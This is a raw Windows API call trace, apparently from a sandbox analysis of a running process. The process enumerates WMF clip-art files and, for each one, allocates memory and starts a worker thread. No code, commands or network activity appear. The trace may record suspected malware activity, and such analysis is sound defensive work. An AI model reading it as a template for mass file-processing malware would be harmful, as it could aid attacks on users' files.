	[0245.043] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1334, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0238927.WMF", cAlternateFileName="")) returned 1
	[0245.043] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.044] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1da0
	[0245.046] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.047] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d3c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0238959.WMF", cAlternateFileName="")) returned 1
	[0245.047] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.048] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1da4
	[0245.050] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.051] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13b8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0238983.WMF", cAlternateFileName="")) returned 1
	[0245.051] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.052] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1da8
	[0245.054] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.054] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1284, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0239057.WMF", cAlternateFileName="")) returned 1
	[0245.055] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.055] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1dac
	[0245.057] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.058] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0239063.WMF", cAlternateFileName="")) returned 1
	[0245.058] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.059] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1db0
	[0245.061] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.061] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1294, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0239079.WMF", cAlternateFileName="")) returned 1
	[0245.061] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.062] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1db4
	[0245.064] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.065] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1464, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0239191.WMF", cAlternateFileName="")) returned 1
	[0245.065] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.066] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1db8
	[0245.068] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.068] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8424, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0239611.WMF", cAlternateFileName="")) returned 1
	[0245.068] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.069] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4bf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1dbc
	[0245.440] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.441] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1314, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0239935.WMF", cAlternateFileName="")) returned 1
	[0245.441] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.441] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4f650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1dc0
	[0245.443] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.443] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1418, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0239941.WMF", cAlternateFileName="")) returned 1
	[0245.444] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.444] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc52d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1dc4
	[0245.446] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.447] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1998, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0239943.WMF", cAlternateFileName="")) returned 1
	[0245.447] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.447] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc56410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1dc8
	[0245.449] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.450] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c40, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0239951.WMF", cAlternateFileName="")) returned 1
	[0245.450] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.451] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc59af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1dcc
	[0245.453] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.453] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1bc8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0239953.WMF", cAlternateFileName="")) returned 1
	[0245.454] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.454] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc5d1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1dd0
	[0245.456] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.456] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1348, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0239955.WMF", cAlternateFileName="")) returned 1
	[0245.457] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.457] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc608b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1dd4
	[0245.459] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.459] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1720, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0239965.WMF", cAlternateFileName="")) returned 1
	[0245.459] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.460] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc63f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1dd8
	[0245.462] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.462] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x154c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0239967.WMF", cAlternateFileName="")) returned 1
	[0245.462] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.463] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc67670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ddc
	[0245.464] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.465] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13e8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0239973.WMF", cAlternateFileName="")) returned 1
	[0245.465] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.466] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc6ad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1de0
	[0245.468] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.468] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xda0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0239975.WMF", cAlternateFileName="")) returned 1
	[0245.469] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.469] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc6e430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1de4
	[0245.471] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.472] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcd8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0239997.WMF", cAlternateFileName="")) returned 1
	[0245.472] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.473] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc71b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1de8
	[0245.650] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.650] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1df8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0240157.WMF", cAlternateFileName="")) returned 1
	[0245.650] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.651] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc751f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1dec
	[0245.654] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.654] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa410, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0240175.WMF", cAlternateFileName="")) returned 1
	[0245.654] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.655] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc788d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1df0
	[0245.657] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.658] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xdc4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0240189.WMF", cAlternateFileName="")) returned 1
	[0245.658] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.659] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc7bfb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1df4
	[0245.660] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.660] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1476, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0240291.WMF", cAlternateFileName="")) returned 1
	[0247.379] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2770000
	[0247.381] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc7f690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e00
	[0247.389] VirtualFree (lpAddress=0x2770000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0247.390] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90da9400, ftCreationTime.dwHighDateTime=0x1be9cda, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90da9400, ftLastWriteTime.dwHighDateTime=0x1be9cda, nFileSizeHigh=0x0, nFileSizeLow=0x92e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0241019.WMF", cAlternateFileName="")) returned 1
	[0247.390] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2770000
	[0247.391] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc82d70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e04
	[0247.393] VirtualFree (lpAddress=0x2770000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0247.394] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cc65600, ftCreationTime.dwHighDateTime=0x1be9cda, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9cc65600, ftLastWriteTime.dwHighDateTime=0x1be9cda, nFileSizeHigh=0x0, nFileSizeLow=0xa4e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0241037.WMF", cAlternateFileName="")) returned 1
	[0247.394] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2770000
	[0247.395] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc86450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e08
	[0247.397] VirtualFree (lpAddress=0x2770000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0247.398] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa059dd00, ftCreationTime.dwHighDateTime=0x1be9cda, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa059dd00, ftLastWriteTime.dwHighDateTime=0x1be9cda, nFileSizeHigh=0x0, nFileSizeLow=0x926, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0241041.WMF", cAlternateFileName="")) returned 1
	[0247.398] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2770000
	[0247.399] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc89b30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e0c
	[0247.401] VirtualFree (lpAddress=0x2770000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0247.402] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa18b0a00, ftCreationTime.dwHighDateTime=0x1be9cda, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa18b0a00, ftLastWriteTime.dwHighDateTime=0x1be9cda, nFileSizeHigh=0x0, nFileSizeLow=0xab2, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0241043.WMF", cAlternateFileName="")) returned 1
	[0247.402] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2770000
	[0247.403] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc8d210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e10
	[0247.409] VirtualFree (lpAddress=0x2770000, dwSize=0x0, dwFreeType=0x8000) returned 1
